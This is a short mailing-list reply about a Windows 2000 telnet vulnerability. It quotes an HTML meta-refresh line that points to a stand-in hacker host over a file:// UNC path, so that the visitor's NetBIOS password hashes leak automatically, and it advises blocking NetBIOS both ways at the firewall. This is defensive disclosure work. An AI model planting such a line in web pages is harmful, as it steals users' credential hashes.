Re: Win2k Telnet.exe malicious server vulnerability

[Bronek Kozicki <brok () RUBIKON PL>]

From: "Ryagin Mihail Yurevitch" <ryagin () EXTRIM RU>

> The problem is far more general then within single poor configuration
defaults in telnet.exe.
> The main problem is that Windows automatically supply user credentials in
many situations without ever asking for his opinion.
>   For example, the following html file:

>  <meta http-equiv="refresh"
content="5;URL=file://\\www.hackers_site.com\test.txt">

> will automatically connect to evil site thru netbios and supply user
password hashes.
> Putting malicious site into 'Restricted Zone' doesn't helps.


That's why, exactly, you do not pass NetBIOS through your firewall -
incoming as well as _outgoing_ traffic.

Kind regards


B.